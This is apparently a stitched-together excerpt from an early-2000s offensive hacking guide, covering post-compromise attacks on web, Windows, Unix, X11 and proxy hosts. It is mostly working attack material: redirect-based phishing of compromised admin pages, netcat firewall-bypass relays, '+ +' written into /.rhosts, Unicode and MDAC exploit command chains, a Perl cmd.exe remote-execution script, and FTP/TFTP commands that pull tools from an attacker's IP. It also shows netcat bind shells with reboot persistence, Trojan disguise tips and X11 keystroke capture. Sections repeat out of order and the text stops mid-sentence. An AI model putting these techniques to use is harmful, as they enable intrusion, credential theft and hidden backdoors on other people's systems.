HTTP - Redirects

We have been concentrating a lot on webservers - like said earlier in this
document, there is an abundance of webservers out there, and they are been
used in more and more situations. Another neat trick is using HTTP
redirects. Many webservers have customized management pages "hidden"
somewhere on the same site. Typically these are developed by the same people
that developed the main site, and are used by the owners of the webpage to
facilitate updating of news snippets, tickers and "new bargain offerings".
In most cases these pages consists of a login page and a pages where the
administrator can change the site content - served after login have
occurred.
Once the backend management page has been found, (see HTTP section – data
mining) and the administrator's username and password has been cracked (see
HTTP - basic authentication or web-based login) you should be in a position
to add, alter or delete items. In most cases the description of these items
(be that a product description, news item, or special offering) is HTML
sensitive. This means it could read like this: <h1> Big savings </h1>. While
this in itself is harmless (unless you want write a note in extra large,
blinking letters about the site's security) it does have potential for
interesting use. By changing the description to an HTTP-redirect you could
redirect clients to a completely different site. An HTTP-redirect looks like
this:
<META HTTP-EQUIV=REFRESH CONTENT=0;URL=http://www.sensepost.com>
Obviously you will have to change the URL unless you want to redirect
visitors to our website. Although this is a quick way to do a complete
deface of a site it should be used for more interesting activities. You
might want to completely copy the "target" website to your server, and
direct customers to a slightly modified copy. The copy would of course mine
customer details and send forms to the real server - it would appear totally
transparent to the casual netizen. The copy could also contain some nasty
content level attacks - remember Brown Orifice(August 2000)?

Network level attack - Source port 20,53

Some of the ancient firewalls and lousy implemented screening routers have a
problem with dealing with FTP reverse connections. For those that does not
know how it works - a normal (active) FTP session works like this. The FTP
client makes a connection from a random port to port 21 on the FTP daemon.
This is the control connection. As soon as you type "ls" or "get" or "put" a
secondary connection (the data connection) is needed. This connection is
made from the FTP server with a source port of 20 to a port on the client.
The client using the FTP native PORT command specifies the destination port
of the reverse connection. As such the client's firewall needs to allow
connection from source port 20 to (high) destination ports in order for the
reverse data connection to be made. With state ful inspection firewalls the
firewall will monitor (sniff) the initial outgoing (control connection)
packets. When it sees the PORT command, it will automatically open the
packet filters to allow the reverse connection to the client on the port
that it specified (this is the source of much mischief - spoofing such PORT
commands could be used to fool the firewall to open up a port on an IP
number that it is not suppose to). Firewalls that do not make use of
stateful inspection have a problem with these reverse connections. If we can
change our source port to 20 we could bypass the filters and connect to an
IP on a high port. How? Using netcat:
> nc -n -p 20 -v 196.38.xxx.251 1024
(UNKNOWN) [196.38.xxx.251] 1023 (?) : Operation timed out
> nc -n -p 20 -v 196.38.xxx.251 1025
(UNKNOWN) [196.38.xxx.251] 1025 (?) : Connection refused
As can be seen from this example - when we connect to a port <= 1024 we hit
the packet filter. Trying ports > 1024 we are bypassing the filter (although
there is nothing running on port 1025. What is the use then - nothing runs
on ports > 1024. Wrong. MS-SQL runs on 1443, IRC on 6667, some Cisco
configurations on 2001,3001, Squid on 3128, and a lot of proxies on
1080,8080 etc. So let us assume that we want to access an MS-SQL box sitting
behind a crappy firewall that allows connection with source port 20. How do
we put it all together? Netcatagain:
> cat > go.sh:
#!/bin/sh
/usr/local/bin/nc -p 20 -n victim 1433
^D
> nc -l -p 1433 -e go.sh
Hit your own machine with Microsoft SQL Enterprise Manager.
This is just about straight from the net cat documentation - so be sure to
read it as well. go.shis execute when the SQL manager hit port 1433; it
makes a connection to the victim using source port 20.
For applications that use multiple connections (such as HTTP) you will need
to have ncin a loop - so that it fires off a new instance of go.shfor
every new connection. As this is explained in the net cat docs I will not
repeat it here.
In exactly the same way you could experiment with source port 53 - (DNS zone
transfers). Also keep in mind that we are only taking about TCP here - think
about DNS...source port 53 to high ports using UDP, and NFS running on port
2049...get creative!

What to execute?

OK so you have a shell on a Unix server. Your problems will be twofold - the
host does not contain any useful security tools and there is no compiler
(gcc,cc) on the server. So even if you transfer your C-code to the victim
there is just no way to compile it. Don't even think of transferring the
binaries unless the victim is running the exact same OS. This is the reason
why I like to keep things very simple - try to keep your goodies in shell
script or PERL - makes is very platform independent. Chances are very good
to find PERL on the victim - most OS'es have PERL in its distribution.
If you need a tool that is not available in PERL or script then you have to
re-compile it on the victim's platform. If the victim have no compiler, or
the program does not want to compile (making nmapfrom sources on a VMS
mainframe can become hairy) then you will have to find a "friendly" platform
where you can compile the sources and transfer the binaries to the victim.
This is not so easy as it seems and you will see many "If anyone has an IRIX
machine to spare drop me a mail"-type messages in hacker newsgroups or
mailing lists.

Unix

If you have found some way to execute a command on a Unix box, but there's
no port 23 open - don't despair - you could try to export an xtermto your
box (assuming that you are running an X-server, and you do not block
incoming traffic on port 6000).
> xhost +victim
> your_exploit victim "/usr/X11R6/bin/xterm -display attacker:0.0&"
The above-mentioned command will export an xtermto your server (provided
that xtermis located in /usr/X11R6/bin).
Say you want to rloginto the host, and want to modify the relevant files to
be able to rloginto the host:
> your_exploit victim "echo + + >> /.rhosts"
> rlogin -l root victim
The possibilities are endless. You might want to add a UID 0, GID 0user to
the password file, with a blank password, then telnet and become root. Once
you can execute a command on a UNIX host there should be no reason to be
able to compromise the host.
We are assuming that the command is executed with "root" rights. If this is
not the case, things can get slightly more difficult. Keep in mind that
normal users cannot have processes that listens on ports lower than 1024. If
you plan to get a shell spawning netcatmake sure it listens on a port
higher than 1024.

What to execute?

A tool that I like using once command line access has been gained on a NT
box is FSCAN.EXE(get it at Packetstorm or at
www.sensepost.com/book/fscan.exe). It is a nifty command line portscanner
that is packed with features. Once compromised, this portscanner is
uploaded, and scanning on the rest of the network can begin. Make sure that
you know where to scan - study your surroundings, like explained earlier.
Let us look at an example:
>fscan 169.xxx.201.1-169.xxx.201.255 -p 80,1433,23 -o
c:\inetpub\wwwroot\sportscan.txt
Above portscan will identify all host running webservers, telnet daemons and
MS-SQL, and will send the output directly to a file called sportscan.txt
that is located in the webroot -ready to be surfed. The output of such a
scan could look like this:
Scan started at Thu Oct 12 05:22:23 2000
169.xxx.201.2 23/tcp 
169.xxx.201.4 80/tcp
169.xxx.201.4 1433/tcp
169.xxx.201.11 80/tcp
169.xxx.201.20 1433/tcp
169.xxx.201.77 80/tcp
169.xxx.201.160 80/tcp
169.xxx.201.254 23/tcp
Scan finished at Thu Oct 12 05:52:53 2000
Time taken: 765 ports in 30.748 secs (24.88 ports/sec)
From this portscan we can neatly identify potential "next hop" servers. If
we assume that 169.xxx.201.4 is located in the private network (and that the
host where this scan was executed from is in the DMZ) it makes sense to try
to find the same vulnerabilities on 169.xxx.201.4. The idea is thus to
compromise this host - that will give us access to resources on the private
network. It might even be interesting to see what is running on the MS-SQL
part of the server. We now want to be able to fire up SQL Enterprise server,
hop via the compromised host right onto the SQL port on 169.xxx.201.4
(assuming of course that we cannot go there direct). How is this
accomplished? One way could be to hook two instances of netcattogether -
something like nc -l -p 53 -e 'nc 169.xxx.201.4 1443', but I have found that
this method does not work that nice in all situations. Courtesy of a good
friend of mine (you know who you are) enter TCPR.EXE. Tcpr.exetakes 4
arguments:
tcpr <listenPort> <destinationIP> <destinationPort> <killfile>
Tcprstarts to listen on listenPort, relaying (on a network level) all
traffic to destinationIPon port destinationPort. Before it relays a
connection it checks for the existence of killfile, and if so, it exists
very quietly. The killfileis only there to make it easy to kill the relay
as there is no kill `ps -ax | grep tcpr | awk '{print $1}'`available in the
standard NT distribution. With tcprwe can now redirect traffic on a non-filtered port on the first host to a port on the next victim. The TCPR.EXE
program and source is available at www.sensepost.com/book/tcp.zip. (note:
yeah I know its not there – ask me for it and I’ll send it to you).
Keeping all of above in mind, we could reach the SQL server by uploading
tcpr.exeto the victim and executing the following command (let us assume
that the site is vulnerable to the Unicode exploit - the attacker is using
my Unicode PERL exploit, port 53 is not filtered, and tcpr.exehas been
uploaded to c:\tempusing the upload page):
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 1443
c:\blah.txt'
Pointing your SQL enterprise manager to <target> on port 53 will now reach
the SQL server running on the inside of the private network. Assuming a
blank SA password, we are home free. When we are finished with the SQL
server, and now want to attack the webserver we simple do:
perl unicodexecute2.pl <target>:80 'echo aaa > c:\blah.txt'
telnet <target> 53
perl unicodexecute2.pl <target>:80 'del c:\blah.txt'
perl unicodexecute2.pl <target>:80 'c:\temp\tcpr 53 169.xxx.201.4 80
c:\blah.txt'
Using this technique we can now "daisy chain" several exploitable IIS
servers together, reaching deep within a network. If we assume that the
server on 169.xxx.201.4 is exploitable via the MDAC bug, exploiting the
server would be as simple as:
perl rfpnew.pl -h <target> -p 53 -C '<whatever>'
By simply modifying the convert.pl script mentioned earlier to point to port
53, we can start to build the upload page on the internal server, and the cycle continues. If you struggle to keep track on what server you are
working don't despair, it happens.

Port 80 and port 139 open.

In this situation, let us assume that port 80 is open but no exploitable
scripts or weaknesses are to be found, but that we have administrator right
via NetBIOS. Uploading a program is trivial - we use NetBIOS. A simple way
to execute a program is to use the NT remote user administration tool and to
elevate the IUSR_machineuser to administrator level. The next step is to
make a copy of cmd.exein the <webroot>../scripts directory and then simply
calling cmd.exewith parameters from a browser. An easy way of doing this
via command line is by using the following PERL script:
#!/usr/bin/perl
use Socket;
if ($#ARGV<1) {die "Usage: execute IP:port command\n";}
($host,$port)=split(/:/,@ARGV[0]);
$command=@ARGV[1];
print "Executing $command on $host:$port\n";
$command=~s/ /\%20/g;
$target = inet_aton($host);
# ---------------send the command
my @results=sendraw("GET /scripts/cmd.exe?/c+$command HTTP/1.0\r\n\r\n");
print @results;
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
This script simply executes commands found in the second parameter using the
copied cmd.exe in the scripts directory. With the IUSR_machineuser elevated
to administrator rights, all commands can be executed.

Port 80 open and can execute

Here's where things start to become more interesting. By "and can execute" I
mean that you have some way of executing a command - be that via the Unicode
exploit, an exploitable script, or MDAC. The easy way to get software on the
host is to FTP it. Typically you will have the toolbox situated on your
machine, and the host will FTP it from you. As such you will need an
automated FTP script - you cannot open an FTP session directly as it is
interactive and you probably do not have that functionality. To build an FTP
script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute
multiple command by appending a "&"between commands. This script is very
simple and will not be explained in detail as such. There are some problems
with this method though. It makes use of FTP - it might be that active FTP
reverse connections are not allowed into the network - NT has no support for
passive FTP. It might also be that the machine is simply firewalled and it
cannot make connections to the outside. A variation on it is TFTP - much  
easier. It uses UDP and it could be that the firewall allows UDP to travel
within the network. The same it achieved by executing the following on the
host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for
certain exploits (remember when no one could figure out how to do redirects
with Unicode?). There is yet another way of doing it - this time via rcp
(yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts
and rshservice running. Remote copy uses TCP, but there is no reverse
connection to be worried about. Above two examples does not use any
authentication - make sure you close your firewall and/or services after the
attack!
In these examples one always assume that the host (victim) may establish
some kind of connection to the attacker's machine. Yet, in some cases the
host cannot do this - due to tight firewalling. Thus - the host cannot
initiate a connection - the only allowed traffic is coming from outside (and
only on selected ports). A tricky situation. Let us assume that we can only
execute a command - via something like the MDACexploit (thus via HTTP(s)).
The only way to upload information is thus via HTTP. We can execute a
command - we can write a file (with redirection). The idea is thus to write
a page - an ASP/HTML page that will facilitate a file upload. This is easier
said then done as most servers needs some server side components in order to
achieve this. We need an ASP-only page, a page that does not need any server
side components. Furthermore we sitting with the problem that most HTML/ASP
pages contains characters that will "break" a file redirection - a ">" for
instance. The command echo <html> >> c:\inetpub\wwwroot\upload.htmwont
work. Luckily there are some escape characters even in good old DOS. We need
a script that will convert all potential "difficult" characters into their
escaped version, and will then execute a "echo" command - appending it all
together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert <file_to_upload> <target>
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while(<HTMLFILE>) {
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >> c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by
Scrippie/Phreak) takes two arguments - the first is the file that needs to
be uploaded, the second the target/victim host's IP number. It makes use of
another script - rfpnew.pl- a hack of the popular MDAC exploit by Rain
Forrest Puppy with extra functionality to specify the port number and to
pass the command to be executed as parameter. The convert script will create
a file with the same filename as the one specified in c:\. It simply reads
every line from the source file, converts all difficult characters and
appends the "converted" line to the file on the target. The PERL script
rfpnew.pl(its a nasty hack - don't you dare look at the code) can be found
on www.sensepost.com/book/rfpnew.pl. It don't list it here only because it
rather large. 
The only part missing here is the actual file that is needed for uploading.
After some searches on the Internet, I got hold of a .ASP & .INC file pair
that neatly facilitates uploading to a server - without any server side
components (credit to those that wrote it - I can not remember where I got
it from). Once these two files are "built" (using above script) and
transferred into the webroot, one can simply point ones browser to the
correct URL and upload a toolbox via HTTP. The files upload.aspand
upload.incis to be found at www.sensepost.com/book/upload.aspand
www.sensepost.com/book/upload.inc(I don't list them here because they are
quite large). Be sure to move the uploaded files to the right spot - keep
them in the same directory, and keep the filenames the same -upload.aspand
upload.inc, unless you want to meddle with the ASP and INC files.
In a nutshell (for the script kids):
•  get upload.asp, upload.incand rfpnew.plfrom the site.
•  cut & paste the converter script to convert.pland put it in the same
directory
•  perl convert upload.asp <target>
•  perl convert upload.inc <target>
•  perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.asp
<webroot>\upload.asp'
•  perl rfpnew.pl -h <target> -p 80 -C 'move c:\upload.inc
<webroot>\upload.inc.
•  surf to http://target/upload.asp.
•  upload your good stuff
•  inhale/exhale
The next step would be to execute something on the host. With the uploader
in place, the obvious choice would be to upload netcat, and to thus create a
DOS shell. In an environment where the host/target is not tightly firewalled
this is a good idea. Where the host/target only has port 80 (or 443) open it
is not such a good choice. See netcathas to listen on a port and since the
only port open is 80, we can't use it. Technically speaking we can "bump"
off the server and have netcatlistening there, but this would just cause
the administrator to investigate (as the website is now down). Note to keen
developer - build a netcatlike tool that will recognize an HTTP request -
pass it on to the server (listening on another port) and pass other stuff
straight to cmd.exe. In a situation where we cannot use netcat, our "tool"
needs to be command line driven, and needs to be able to either create files
as output, or to output results to standard out - where it can be redirected
to a file. These files could simply be created directly into the webroot -
in this way the attacker can view her results in a webbrowser. One now begin
to understand the merit of command line port scanners (for NT) and things
like windumpthat does not need any registry changes or install shields.
If the host is not tightly firewalled the obvious choice is netcat. Some
default installations of Firewall-1 allows TCP communication to port 53 - it
does makes sense to have netcatlistening on that port in such cases (do a
portscan to make sure... duh):
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit)
perl rfpnew.pl -h <target> -p 80 -C 'c:\temp\nc.exe -l -p 53 -e cmd.exe'
telnet <target> 53
Trying <target>...
Connected to <target>.
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcatreally is doing is making it faster and easier to
execute command line commands. Netcatalso helps in situations where one
does not have the luxury of time - such as in the examples where you only 
have NetBIOS access. To ensure that you keep connectivity with the target
you might want to execute a "netcat -L -p 53 -e cmd.exe" sitting in
/winnt/system32/setup.exeas explained (you could execute it from a batch
file and convert the batch file to an EXE). When the host reboots it will be
listening on port 53 for incoming connections. All you need to do is to
probe port 53 continuously.

Port 21 open

With only FTP open you will have a tougher time. If you have administrator
rights you could still copy an executable into the correct directory - see
1, but you will not have the ability to reboot the host - you will have to
wait until someone reboots it. You might want to try a D.O.S attack on the
machine, but usually it will just hang (which is suspect, but will speed up
a manual reboot). If you do not have administrator rights chances are
slimmer - you need to upload a Trojan - again, be very careful what you
upload - most machines nowadays have virus scanners. You could try to wrap
netcat as something that the administrator will be tempted to execute - you
know the drill - pamela.exe or whatever. If you do not make use of a known
Trojan and there is no way for your custom Trojan to let you know that it
was executed you will need some mechanism of checking if the program was
executed - a (local) netcat in a loop with mail notification perhaps?

Onlyport 139 open - administrator rights.

Copy the executable into <drive>:/winnt/system32/, and rename it to
setup.exe. Now you have the choice of waiting for the system to reboot (NT
have a history of doing this every now and again), or you could reboot the
machine remotely. How? With a tool called psshutdown.exe. You can find it at
http://www.sysinternals.com/psshutdown.htm. Note that you need administrator
rights to be able to a) copy the software into the winnt/system32directory
and b) reboot the box remotely. Make sure that your choice of executable is
well thought through - since you have NetBIOS access to the system you might
want to check if there is any anti-virus software installed - if so - do not
try to execute a Trojan such as Subseven/Netbus/BO- it will just screw up.
Stick with netcat(see later). There are other ways to execute something at
startup - with NetBIOS access you could also remotely edit the registry.
If you don't have administrator rights - read the next section - the same
applies here.

Windows

We are faced with two distinct different problems - getting the tools on the
host, and executing it. Getting the tools on the host could be as easy as
FTP-ing it to the host (should a FTP server be running and we have a
username and password - or anonymous FTP). If we have Net BIOS access to the
host we can simply copy the software. If we just have Net BIOS access 
to the host - how do we execute the software? As you can see things are never as
easy as it seems. Let us look at these problems by examining a few
scenarios: (you will need to read all the sections as they really form one
part - I refer to some things that is only contained in other parts)

Now what? (a lot of the stuff in the HTTP/S part is repeated here – you might want to look there as well)

Most books and papers on the matter of hacking always stops at the point
where the attacker has gained access to a system. In real life it is here
where the real problems begin - usually the machine that has been
compromised is located in a DMZ, or even on an offsite network. Another
problem could be that the compromised machine has no probing tools or
utilities and such tools to work on a unknown platform is not always that
easy. This chapter deals with these issues. Here we assume that a host is
already compromised - the attacker have some way of executing a command on
the target - be that inside of a Unix shell, or via a MDACexploit. The
chapter does not deal with rootkitting a host.
Some hosts are better for launching 2nd phase attacks than others -
typically a Linux or FreeBSD host is worth more than a Windows NT webserver.
Remember - the idea is to further penetrate a network. Unfortunately, you
can not always choose which machines are compromised. Before we start to be
platform specific, let us look at things to do when a host is compromised.
The first step is to study one's surroundings. With 1:1NAT and other address
hiding technologies you can never be too sure where you really are. The
following bits of information could help (much of this really common sense,
so I wont be explaining *why* you would want to do it):
1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)
All of the above will help to form an idea of the topology of the rest of
the network - and as we want to penetrate further within the network its
helpful. Let us assume that we have no inside knowledge of the inner network
- that is - we don't know where the internal mailserver is located - we
don't know where the databases are located etc. With no tools on the host
(host as in parasite/host), mapping or penetrating the inner network is
going to take very long. We thus need some way of getting a (limited)
toolbox on the host. As this is quite platform specific, we start by looking
at the more difficult platform - Windows.

NetBIOS/SMB (139 TCP)

SMB is used by Windows machines (and with SAMBA even Unix machines) to
communicate. A lot can be done through an open Net BIOS port. The first thing
is to try to find out what shares are advertised on the server. Some servers
is not configured well and will revealing its shares without a username or
password (using a NULL connection).
>smbclient -L 209.xxx.68.66 -n "just a test"
Password: <cr>
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.3]
Share name Type Comment
--------- ---- -------
winshares Disk FreeBSD Samba Server
IPC$ IPC IPC Service (Samba 2.0.3)
Server Comment
--------- -------
FILES Samba 2.0.3
Workgroup Master
--------- ------- 
WORKGROUP FILES
(Note the -nswitch - we don't want to call the server with our server name,
just in case you are running SAMBA yourself) As you can see we find some
lovely information on the server - the workgroup/domain name, the
description and the Windows version (above server was a SAMBA server
actually). Nice...Of course with a known password, or a blank password
things are much more fun- you can list all the shares or you might want to
access a drive:
> smbclient \\\\208.xxx.198.71\\c$ -U administrator -n "justatest"
Password: <blank..duh!>
Domain=[xxx] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \> ls
WINNT D 0 Fri Oct 8 23:24:02 1999
NTDETECT.COM AHSR 26816 Fri Aug 11 01:22:24 2000
ntldr AHSR 156496 Fri Aug 11 01:22:24 2000
boot.ini ASR 288 Sat Oct 9 00:30:56 1999
ffastun.ffo AH 208896 Fri Dec 29 00:35:34 2000
Program Files D 0 Fri Oct 8 23:28:10 1999
CONFIG.SYS A 0 Fri Oct 8 23:31:46 1999
AUTOEXEC.BAT A 0 Fri Oct 8 23:31:46 1999
IO.SYS AHSR 0 Fri Oct 8 23:31:46 1999
MSDOS.SYS AHSR 0 Fri Oct 8 23:31:46 1999
TEMP D 0 Fri Oct 8 23:31:50 1999
--cut--
You are now dropped into the smbclient"shell". From here you could do file
transfers and the likes (see Chapter 6 - what now). You should really be
able to figure out how "smbclient" works on your own...
You might also want to try to collect information with the "nmblookup"
command - it helps sometimes to find the administrator username (if it was
changed):
# nmblookup -A 160.124.19.99
Looking up status of 160.124.19.99
received 10 names
HUTSI <00> - B <ACTIVE>
SENSEPOST <00> - <GROUP> B <ACTIVE>
HUTSI <20> - B <ACTIVE>
HUTSI <03> - B <ACTIVE>
SENSEPOST <1e> - <GROUP> B <ACTIVE>
SENSEPOST <1d> - B <ACTIVE>
INet~Services <1c> - <GROUP> B <ACTIVE>
..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>
IS~HUTSI <00> - B <ACTIVE>
BAAS <03> - B <ACTIVE>
Look at the entries marked <03>. Note "BAAS". "Baas" is the renamed
administrator username. So, forget trying using "administrator" as a
username.
You also want to have a look at VLAD(yet again). The pwscan.plscript does
a good job of brute forcing NetBIOS (run it with switches -vand -B). The
pwscan.plscript actually uses the "smbclient" command and inspects the
output to find a valid username & password combination. If you want to brute
a specific share, you will need to modify these lines (starting at line 610
in version 1.17):
$cmd = "smbclient";
$service = "//".$target."/ipc\$";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
to read something like 
$cmd = "smbclient";
$service = "//".$target."/sharename";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
An excellent paper on NetBIOS and the CIFS protocol by Hobbit can be found
at http://packetstorm.securify.com/docs/infosec/cifs.txt. You really should
try to read it.
Added: you should reallylook at a tool called CIS by David Litchfield
(nowadays with @stake) It does a lot of cool stuff – and it does wonders for
SMB.

R-services (rshell, rlogin) (513,514 TCP)

The R-services has used in the good old days of (campus) wide open Unix
clusters of machines. It was used to hop from one server to the next with as
little as possible effort - it's almost the same as telnet or SSH - it gives
you a shell (or executing a command). Nowadays it is not very common to find
Unix servers with r login or r shell ports open. R shell is basically an
extension of r login- R shell will execute a command after logging in with
the username and password specified. For the purposes of this document we
can see r loginand rs has the same. These two services are protected by the
".rhosts" file(s). These files reside in a user directory and contain the IP
numbers (or DNS names) and usernames on the remote machines that could
assume control on the local machine.
But heck - I am not here to explain how rloginand rshworks - the only
thing that needs to be said here is that you could also try to get into a
machine using it. It works much the same as telnet - all the same principles
apply- try getting usernames etc. Sometimes rloginis used in conjunction
with other tricks - if you can get a "+ +" (allow anyone from anywhere) in
the .rhostfile you are made - see the X11 section.

X11 (6000 TCP)

X11 displays are (normally) protected on a network level - that is - there
are no usernames and passwords involved. The display is actually a server
and it listens on port 6000 (TCP). Control for clients to connect to the
server is facilitated with the "xhost" command. By default it is set up in a
way that nobody can connect to the display - default deny. As soon as
programs are sharing the display (exporting an xtermto your display from
another host or whatever) the user of the display have to add the IP number
or DNS name of the client that wish to connect by running the command "xhost
+<client>". In theory this works perfectly nice, but in the real world
people tend to just enter "xhost +" which allows anyone to connect to the
display.
A host that is open for anyone to connect to the display is risking a lot,
and could possibly be compromised. There are a few nice things to do when
you find an open X11 display. One of the most common attacks is to capture
all the keystrokes that is entered on the victim's host. The program "xkey"
(available from www.hack.co.za) does this very neatly:
> xkey 196.37.xxx.14:0.0
..you wait..time passes...and then:
ssh -l root -<<Shift_R>>P 196.37.xxx.1
weirdshitometer
Its clear why we are excited about key captures. A open X11 display can also
be "copied" - the root window (the main window) can be copied, and
displayed. Each window have a unique ID - you can specify which window you
want to copy, but for a start let us get the root window:
> xwd -display 196.37.xxx.14 -root -silent -out /tmp/screendump
..wait for the transfer...
> xv /tmp/screendump
We are using xvto display the screen - xvcan read the xwdformat straight
off. The screen might include some interesting data - if you get a
screensaver - bad luck - use fingerto see when someone is active. To get a
list of windows that are open on the display you might want to issue the
command:
> xwininfo -display <victim> -all -root | grep \"
(extract)
0x3000e6f "Netscape: Find": ("findDialog_popup" "Netscape") 378x144+536+227
+536+227
0x1c0000c "FvwmButtons": ("FvwmButtons" "FvwmButtons") 385x68+0+0 +635+4
0x2400005 "xload": ("xload" "XLoad") 106x52+2+2 +637+6
0x2000002 "Desktop": ("FvwmPager" "FvwmModule") 105x64+277+2 +912+6
0x30001ec "Netscape": ("communicator-4_72_bin" "Netscape") 1x1+0+0 +0+0
0x3000172 "Communicator Bookmarks for Roelof Temmingh": ("bookmarks"
"Netscape") 872x622+10+10 +10+10 
0x300001c " ": ("mozillaComponentBar" "Netscape") 5x5+50+50 +50+50
0x3000001 "Netscape": ("communicator-4.72.bin" "Netscape") 1x1+0+0 +0+0
If the victim is using more than one virtual screen you will be able to see
the other screen listed (you won't see it with xwd). With a bit of luck you
get a Netscape browser open. To get Netscape open on an open X11 display is
very good news as you can remotely control Netscape. Fancy telling Netscape
to open /etc/passwdand doing another screen capture? Here is how :
> netscape -display <victim> -remote 'openFile(/etc/passwd)'
> xwd -display <victim> -root -silent -out /tmp/netscape_
> xv /tmp/netscape
You can even tell Netscape to write files. It won't work trying to overwrite
files - you will find a nasty Netscape popup, but you can write files that
do not exist. You could create a page with "+ +"on it, redirect the browser
to the page, and, if Netscape is running as root, save it to /.rhosts. Be
sure to have a close look at http://home.netscape.com/newsref/std/x-remote.htmlif you find an open X11 running Netscape.
In theory you could also send keystrokes to an open X display. I found the
program "xpusher.c" at http://www.hack.co.za, fiddled around with it, but it
does not seem to work. There might be other programs around. Keep looking...

Proxies (80,1080,3128,8080 TCP)

A proxy is used to relay HTTP and HTTPs connection - if you don't know what
a proxy is you should not be reading any of this. If we find a proxy port
open on a host it excites us because it could be used to access other
web servers that are located behind a firewall if not configured correctly.
Just in the same way that your proxy server allows you to connect to it and
surf sites that are located on the outside of your server, a victim's proxy
server could serve as a gateway to reach machines that are normally not
accessible. As example - a firewall is protecting the 196.xxx.201.0/24
network. The intranet server is located on 196.xxx.201.10, but the firewall
prohibits communication to port 80 (or 443). Port 3128 on 196.xxx.201.5 is
open, and the Squid proxy is not set up correctly (it allows anyone to
connect to it). Change your proxy properties in your local browser to point
to 196.xxx.201.5 and hit 196.xxx.201.10 and access the intranet server.
You can even run an exploit over a proxy. The only difference in reaching
the machine direct and via a proxy is that the full URL needs to be send,
e.g.:
Without proxy (for example Unicode exploit):
GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0
With proxy:
GET http://target/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ HTTP/1.0
You will need to make some changes to your exploit's code, but generally it
wouldn't need to be difficult. Remember to point your exploit to the proxy
address and port!
You could even use a proxy as a very primitive portscanner. By requesting a
URL on a different port - say GET http://victim:port/ HTTP/1.0 you might get
a different response. Some proxies - such as Squid- does not even try to
pass traffic with a destination port lower then 1024 (other than 70,80, and
443). Traffic directed to ports higher than 1024 is allowed - by
interpreting responses from the proxy we can find out if the port is open or
closed. Hereby a simple PERL script that works OK with Squid:
---proxyscan.pl---
#!/usr/bin/perl
use Socket;
if ($#ARGV<0) {die "Usage: proxyscan.pl proxyIP:port:scanIP:beginrange:endrange
($host,$port,$scanIP,$br,$er)=split(/:/,@ARGV[0]);
print "Testing $scanIP via $host:$port:\n";
$target = inet_aton($host);
for ($mp=$br; $mp <= $er; $mp++) {
my @results=sendraw("GET http://$scanIP:$mp/ HTTP/1.0\r\n\r\n");
#system "sleep 2";
foreach $line (@results){
if ($line =~ /refused/) {print "Port $mp on $scanIP is closed\n"}
if ($line =~ /Zero/) {print "Port $mp on $scanIP is open\n"}
}
}
# ------------- Sendraw - thanx RFP rfp@wiretrip.net
sub sendraw {
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
my @in;
select(S); $|=1; print $pstr;
while(<S>){ push @in, $_;}
select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }
}
# Spidermark: sensepostdata
> perl proxyscan.pl 160.124.19.103:3128:160.124.19.98:5999:6002
Testing 160.124.19.98 via 160.124.19.103:3128:
Port 5999 on 160.124.19.98 is closed  
Port 6000 on 160.124.19.98 is open
Port 6001 on 160.124.19.98 is closed
Port 6002 on 160.124.19.98 is closed
It might be that you want to change some things in this code - I have seen
that when the server does not close the connection (the port is open and
there is something listening on the other side, but no data is send) the
script hangs around for a real long time. This is due to Squidnot closing
the connection after a while, and I don't see a quick workaround for it (and
I am way too lazy for investigate it). It does work fine...provided you have
some time to kill. See also the section on network level attacks for >1024
destination port tricks.
Apparently proxy servers can also be used to send email anonymously but I
can't get any good examples of this.

SNMP(161 UDP)

SNMP is short for Simple Network Management Protocol and it does just that -
it is used to monitor and manage hosts and routers. The majority of users of
